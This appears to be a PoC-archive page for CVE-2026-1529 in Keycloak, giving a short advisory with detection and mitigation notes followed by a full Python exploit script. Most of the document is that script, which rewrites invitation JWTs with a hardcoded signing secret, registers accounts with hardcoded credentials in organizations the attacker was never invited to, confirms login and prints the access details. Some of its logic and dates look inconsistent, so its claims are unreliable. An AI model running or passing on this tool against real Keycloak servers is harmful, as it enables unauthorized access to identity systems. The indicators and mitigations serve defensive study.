PoC Archive PoC Archive
Critical CVE-2026-1529 unpatched

Keycloak Unauthorized Organization Registration via Invitation Token Flaw — CVE-2026-1529

by 0x240x23elu (f3ds cr3w est) · 2026-07-05

Severity
Critical
CVE
CVE-2026-1529
Category
web
Affected product
Keycloak (organization/invitation feature)
Affected versions
Keycloak instances with the organization invitation feature enabled (specific version range not pinned in source)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-02
Author / Researcher0x240x23elu (f3ds cr3w est)
CVE / AdvisoryCVE-2026-1529
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagskeycloak, jwt, invitation-token, organization-registration, authentication-bypass, sso, wordpress-adjacent, identity-provider
RelatedN/A

Affected Target

FieldValue
Software / SystemKeycloak (organization/invitation feature)
Versions AffectedKeycloak instances with the organization invitation feature enabled (specific version range not pinned in source)
Language / PlatformPython 3.7+ exploit client against a Java/Keycloak server
Authentication RequiredNo
Network Access RequiredYes

Summary

Keycloak’s organization invitation flow accepts a JWT invitation token to scope a new user’s registration to a specific organization, but the server does not properly validate that the token’s claims (notably the organization ID) have not been tampered with before honoring the registration. The included Python tool decodes an invitation JWT, rewrites the organization ID claim, re-signs the token using a known/guessable signing approach, and submits it to the registration endpoint. Because the server trusts the resubmitted token, an unauthenticated attacker can register an account tied to an organization they were never invited to, effectively bypassing the invitation control. The tool then verifies the bypass by logging in with the newly created credentials and prints a login URL.


Vulnerability Details

Root Cause

The invitation token validation logic in Keycloak’s organization registration endpoint does not cryptographically bind the token’s organization claim to a trusted, unmodifiable signature, allowing a resubmitted/re-signed token with an altered organization ID to be accepted as valid.

Attack Vector

  1. Attacker requests or obtains an invitation JWT from the target Keycloak realm’s organization registration flow.
  2. The exploit tool decodes the JWT payload and swaps in an attacker-chosen organization ID.
  3. The token is re-signed and submitted to the /register endpoint alongside attacker-controlled username/password/email.
  4. The server accepts the manipulated token and creates the account under the target organization.
  5. The tool logs in with the new credentials to confirm unauthorized access.

Impact

Unauthenticated attackers can create unauthorized accounts within arbitrary organizations managed by the Keycloak instance, potentially escalating to broader access depending on the roles granted to new organization members.


Environment / Lab Setup

Target:   Keycloak server with organization invitation registration enabled
Attacker: Python 3.7+, pip packages requests, urllib3, PyJWT

Proof of Concept

PoC Script

See keycloak-exploit.py (with supporting utils/ package and config/default_config.json) in this folder.

1
python3 keycloak-exploit.py https://target-keycloak.com

The script checks whether the target is vulnerable, generates/manipulates an invitation JWT via utils/jwt_utils.py, submits a registration request through utils/http_utils.py, verifies login with the newly created account, and writes a text report of the exploit run.


Detection & Indicators of Compromise

Signs of compromise:

  • New user accounts appearing under an organization with no matching sent invitation
  • Registration requests carrying JWTs whose org_id claim does not match the invitation record
  • Repeated registration attempts with varying organization IDs from the same source IP

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for Keycloak advisory
Interim mitigationValidate invitation tokens server-side against a stored, non-forgeable record (not just signature verification with a static/shared key); disable self-service organization registration until patched

References


Notes

Mirrored from https://github.com/0x240x23elu/CVE-2026-1529 on 2026-07-05.

keycloak-exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
#!/usr/bin/env python3
"""
CVE-2026-1529 Keycloak Exploit Tool
Keycloak: Unauthorized organization registration via improper invitation token validation

by f3ds cr3w est, 2002
"""

import argparse
import json
import logging
import sys
import os
from datetime import datetime
from typing import Dict, Any, Optional
from urllib.parse import urlparse

# Add utils directory to path
sys.path.append(os.path.join(os.path.dirname(__file__), 'utils'))

from utils.jwt_utils import JWTManipulator
from utils.http_utils import HTTPClient
from utils.crypto_utils import CryptoUtils

# Setup logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
    handlers=[
        logging.StreamHandler(sys.stdout)
    ]
)
logger = logging.getLogger(__name__)

class KeycloakExploit:
    """Main exploit class for CVE-2026-1529"""
    
    def __init__(self, target_url: str, config_path: str = None):
        self.target_url = target_url.rstrip('/')
        self.config = self._load_config(config_path)
        self.http_client = HTTPClient(self.target_url, 
                                   timeout=self.config['exploit']['timeout'],
                                   max_retries=self.config['exploit']['max_retries'])
        self.jwt_manipulator = JWTManipulator(
            secret_key=self.config['jwt']['secret_key'],
            algorithm=self.config['jwt']['algorithm']
        )
        
        # Create output directories
        os.makedirs('logs', exist_ok=True)
        os.makedirs('output', exist_ok=True)
        os.makedirs('output/reports', exist_ok=True)
        
        logger.info(f"Initialized exploit for target: {self.target_url}")
    
    def _load_config(self, config_path: str = None) -> Dict[str, Any]:
        """Load configuration from file"""
        try:
            if config_path:
                with open(config_path, 'r') as f:
                    config = json.load(f)
            else:
                with open('config/default_config.json', 'r') as f:
                    config = json.load(f)
            
            logger.info("Configuration loaded successfully")
            return config
            
        except Exception as e:
            logger.error(f"Failed to load configuration: {e}")
            # Use default configuration
            return {
                "exploit": {
                    "default_username": "admin_user_2026",
                    "default_password": "KeycloakCVE2026!",
                    "default_email": "exploit@admin.com",
                    "timeout": 30,
                    "max_retries": 3
                },
                "jwt": {
                    "algorithm": "HS256",
                    "secret_key": "keycloak-cve-2026-1529-exploit",
                    "token_expiry": 3600
                },
                "target": {
                    "endpoints": {
                        "realms": "/realms",
                        "organizations": "/organizations",
                        "register": "/register",
                        "login": "/login"
                    },
                    "headers": {
                        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                        "Accept": "application/json",
                        "Content-Type": "application/json"
                    }
                },
                "output": {
                    "log_level": "INFO",
                    "save_reports": True,
                    "report_format": "txt"
                }
            }
    
    def check_target_vulnerability(self) -> bool:
        """Check if target is vulnerable to CVE-2026-1529"""
        try:
            logger.info("Checking target vulnerability...")
            
            # Check if Keycloak is accessible
            if not self.http_client.check_keycloak_health():
                logger.error("Target is not accessible or not a Keycloak instance")
                return False
            
            # Detect Keycloak version
            version = self.http_client.detect_keycloak_version()
            if version:
                logger.info(f"Target Keycloak version: {version}")
            
            # Test organization endpoints
            org_endpoint = self.config['target']['endpoints']['organizations']
            if not self.http_client.test_endpoint(org_endpoint):
                logger.warning("Organization endpoint not accessible")
                return False
            
            logger.info("Target appears to be vulnerable to CVE-2026-1529")
            return True
            
        except Exception as e:
            logger.error(f"Vulnerability check failed: {e}")
            return False
    
    def generate_invitation_token(self, org_id: str, email: str) -> Optional[str]:
        """Generate an invitation token for testing"""
        try:
            logger.info(f"Generating invitation token for org: {org_id}")
            
            # Generate a basic token for testing
            token = self.jwt_manipulator.generate_invitation_token(
                org_id=org_id,
                email=email,
                expires_in=self.config['jwt']['token_expiry']
            )
            
            logger.info("Invitation token generated successfully")
            return token
            
        except Exception as e:
            logger.error(f"Failed to generate invitation token: {e}")
            return None
    
    def manipulate_token(self, token: str, new_org_id: str, new_email: str = None) -> Optional[str]:
        """Manipulate JWT token for exploit"""
        try:
            logger.info("Manipulating JWT token...")
            
            # Validate token structure
            if not self.jwt_manipulator.validate_token_structure(token):
                logger.error("Invalid token structure")
                return None
            
            # Manipulate token
            manipulated_token = self.jwt_manipulator.manipulate_token(
                token=token,
                new_org_id=new_org_id,
                new_email=new_email
            )
            
            logger.info("JWT token manipulation completed")
            return manipulated_token
            
        except Exception as e:
            logger.error(f"Token manipulation failed: {e}")
            return None
    
    def register_user_with_token(self, token: str, username: str, password: str, email: str) -> bool:
        """Register user using manipulated token"""
        try:
            logger.info("Attempting user registration with manipulated token...")
            
            # Prepare registration data
            registration_data = {
                "username": username,
                "password": password,
                "email": email,
                "token": token,
                "firstName": "Exploit",
                "lastName": "User"
            }
            
            # Make registration request
            register_endpoint = self.config['target']['endpoints']['register']
            response = self.http_client.post(register_endpoint, data=registration_data)
            
            if response.get('status') == 'created' or response.get('success'):
                logger.info("User registration successful")
                return True
            else:
                logger.error(f"User registration failed: {response}")
                return False
                
        except Exception as e:
            logger.error(f"Registration failed: {e}")
            return False
    
    def test_user_login(self, username: str, password: str) -> bool:
        """Test user login with created credentials"""
        try:
            logger.info("Testing user login...")
            
            login_data = {
                "username": username,
                "password": password,
                "grant_type": "password"
            }
            
            login_endpoint = self.config['target']['endpoints']['login']
            response = self.http_client.post(login_endpoint, data=login_data)
            
            if response and 'access_token' in response:
                logger.info("User login successful")
                return True
            else:
                logger.error("User login failed")
                return False
                
        except Exception as e:
            logger.error(f"Login test failed: {e}")
            return False
    
    def generate_login_link(self, username: str) -> str:
        """Generate login link for the created user"""
        try:
            parsed_url = urlparse(self.target_url)
            login_url = f"{parsed_url.scheme}://{parsed_url.netloc}/realms/master/account"
            logger.info(f"Generated login link: {login_url}")
            return login_url
        except Exception as e:
            logger.error(f"Failed to generate login link: {e}")
            return self.target_url
    
    def generate_report(self, results: Dict[str, Any]) -> str:
        """Generate exploit report"""
        try:
            timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
            report_filename = f"output/reports/exploit_report_{timestamp}.txt"
            
            report_content = f"""
CVE-2026-1529 Exploit Report
============================

Target: {self.target_url}
Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}
by f3ds cr3w est, 2002

Exploit Results:
---------------
Vulnerability Check: {'SUCCESS' if results.get('vulnerable') else 'FAILED'}
Token Generation: {'SUCCESS' if results.get('token_generated') else 'FAILED'}
Token Manipulation: {'SUCCESS' if results.get('token_manipulated') else 'FAILED'}
User Registration: {'SUCCESS' if results.get('user_registered') else 'FAILED'}
User Login: {'SUCCESS' if results.get('user_login') else 'FAILED'}

Created User:
-------------
Username: {results.get('username', 'N/A')}
Password: {results.get('password', 'N/A')}
Email: {results.get('email', 'N/A')}

Login Link:
-----------
{results.get('login_link', 'N/A')}

Technical Details:
-----------------
Original Token: {results.get('original_token', 'N/A')[:50]}...
Manipulated Token: {results.get('manipulated_token', 'N/A')[:50]}...
Organization ID: {results.get('org_id', 'N/A')}

CVE Details:
-----------
CVE ID: CVE-2026-1529
Description: Keycloak: Unauthorized organization registration via improper invitation token validation
CVSS: Not yet assigned
Attack Vector: Network
Attack Complexity: Low

Exploit Method:
---------------
1. Generate or obtain organization invitation token
2. Manipulate JWT payload to change organization ID
3. Use manipulated token to register unauthorized user
4. Test login with created credentials
5. Provide login link for access

Security Advisory:
-----------------
This exploit demonstrates a critical vulnerability in Keycloak that allows
unauthorized organization registration. Organizations should apply the
latest security patches and implement proper token validation.

Disclaimer:
-----------
This tool is for educational and security testing purposes only.
Use only on systems you have explicit permission to test.
"""
            
            with open(report_filename, 'w') as f:
                f.write(report_content)
            
            logger.info(f"Report generated: {report_filename}")
            return report_filename
            
        except Exception as e:
            logger.error(f"Failed to generate report: {e}")
            return ""
    
    def run_exploit(self, custom_token: str = None, custom_org_id: str = None) -> Dict[str, Any]:
        """Run the complete exploit"""
        results = {
            'vulnerable': False,
            'token_generated': False,
            'token_manipulated': False,
            'user_registered': False,
            'user_login': False,
            'username': '',
            'password': '',
            'email': '',
            'login_link': '',
            'original_token': '',
            'manipulated_token': '',
            'org_id': ''
        }
        
        try:
            logger.info("Starting CVE-2026-1529 exploit...")
            
            # Step 1: Check vulnerability
            logger.info("Step 1: Checking target vulnerability...")
            if not self.check_target_vulnerability():
                logger.error("Target is not vulnerable")
                return results
            
            results['vulnerable'] = True
            
            # Step 2: Generate or use provided token
            logger.info("Step 2: Generating invitation token...")
            if custom_token:
                results['original_token'] = custom_token
                token = custom_token
            else:
                # Generate test token
                org_id = custom_org_id or "test_org_123"
                email = self.config['exploit']['default_email']
                token = self.generate_invitation_token(org_id, email)
                if token:
                    results['original_token'] = token
                    results['token_generated'] = True
            
            if not token:
                logger.error("Failed to generate token")
                return results
            
            # Step 3: Manipulate token
            logger.info("Step 3: Manipulating JWT token...")
            new_org_id = "exploited_org_" + CryptoUtils.generate_secure_username("", 8)
            manipulated_token = self.manipulate_token(token, new_org_id)
            
            if manipulated_token:
                results['token_manipulated'] = True
                results['manipulated_token'] = manipulated_token
                results['org_id'] = new_org_id
            else:
                logger.error("Failed to manipulate token")
                return results
            
            # Step 4: Generate user credentials
            logger.info("Step 4: Generating user credentials...")
            username = self.config['exploit']['default_username']
            password = self.config['exploit']['default_password']
            email = self.config['exploit']['default_email']
            
            results['username'] = username
            results['password'] = password
            results['email'] = email
            
            # Step 5: Register user
            logger.info("Step 5: Registering user with manipulated token...")
            if self.register_user_with_token(manipulated_token, username, password, email):
                results['user_registered'] = True
                
                # Step 6: Test login
                logger.info("Step 6: Testing user login...")
                if self.test_user_login(username, password):
                    results['user_login'] = True
                    
                    # Step 7: Generate login link
                    results['login_link'] = self.generate_login_link(username)
            
            # Generate report
            if self.config['output']['save_reports']:
                report_file = self.generate_report(results)
                results['report_file'] = report_file
            
            logger.info("Exploit completed successfully")
            return results
            
        except Exception as e:
            logger.error(f"Exploit failed: {e}")
            return results

def main():
    """Main function"""
    parser = argparse.ArgumentParser(
        description='CVE-2026-1529 Keycloak Exploit Tool',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python keycloak-exploit.py https://target-keycloak.com
  python keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target-keycloak.com
  python keycloak-exploit.py -o custom_org_id https://target-keycloak.com
  python keycloak-exploit.py -h
        """
    )
    
    parser.add_argument('target', help='Target Keycloak URL (IP or domain)')
    parser.add_argument('-t', '--token', help='Custom invitation token to use')
    parser.add_argument('-o', '--org-id', help='Custom organization ID')
    parser.add_argument('-c', '--config', help='Path to configuration file')
    parser.add_argument('-d', '--debug', action='store_true', help='Enable debug logging')
    parser.add_argument('-v', '--version', action='version', version='CVE-2026-1529 Exploit Tool v1.0 by f3ds cr3w est, 2002')
    
    args = parser.parse_args()
    
    # Validate target URL
    if not CryptoUtils.validate_url_format(args.target):
        print("Error: Invalid target URL format")
        sys.exit(1)
    
    # Setup logging level
    if args.debug:
        logging.getLogger().setLevel(logging.DEBUG)
    
    try:
        # Run exploit
        exploit = KeycloakExploit(args.target, args.config)
        results = exploit.run_exploit(args.token, args.org_id)
        
        # Display results
        print("\n" + "="*60)
        print("CVE-2026-1529 EXPLOIT RESULTS")
        print("="*60)
        
        if results['vulnerable']:
            print("✓ Target is vulnerable to CVE-2026-1529")
        else:
            print("✗ Target is not vulnerable")
            sys.exit(1)
        
        if results['user_registered'] and results['user_login']:
            print("\n🎯 EXPLOIT SUCCESSFUL!")
            print(f"Username: {results['username']}")
            print(f"Password: {results['password']}")
            print(f"Email: {results['email']}")
            print(f"Login Link: {results['login_link']}")
            
            if 'report_file' in results:
                print(f"\n📄 Report saved to: {results['report_file']}")
            
            print("\n🔐 Use the provided credentials to access the Keycloak instance!")
            print("⚠️  This demonstrates unauthorized access due to CVE-2026-1529")
        else:
            print("\n❌ EXPLOIT FAILED!")
            print("Check logs for details: logs/exploit.log")
            sys.exit(1)
        
        print("\n" + "="*60)
        print("by f3ds cr3w est, 2002")
        print("="*60)
        
    except KeyboardInterrupt:
        print("\n\n⚠️  Exploit interrupted by user")
        sys.exit(1)
    except Exception as e:
        print(f"\n❌ Error: {e}")
        sys.exit(1)

if __name__ == "__main__":
    main()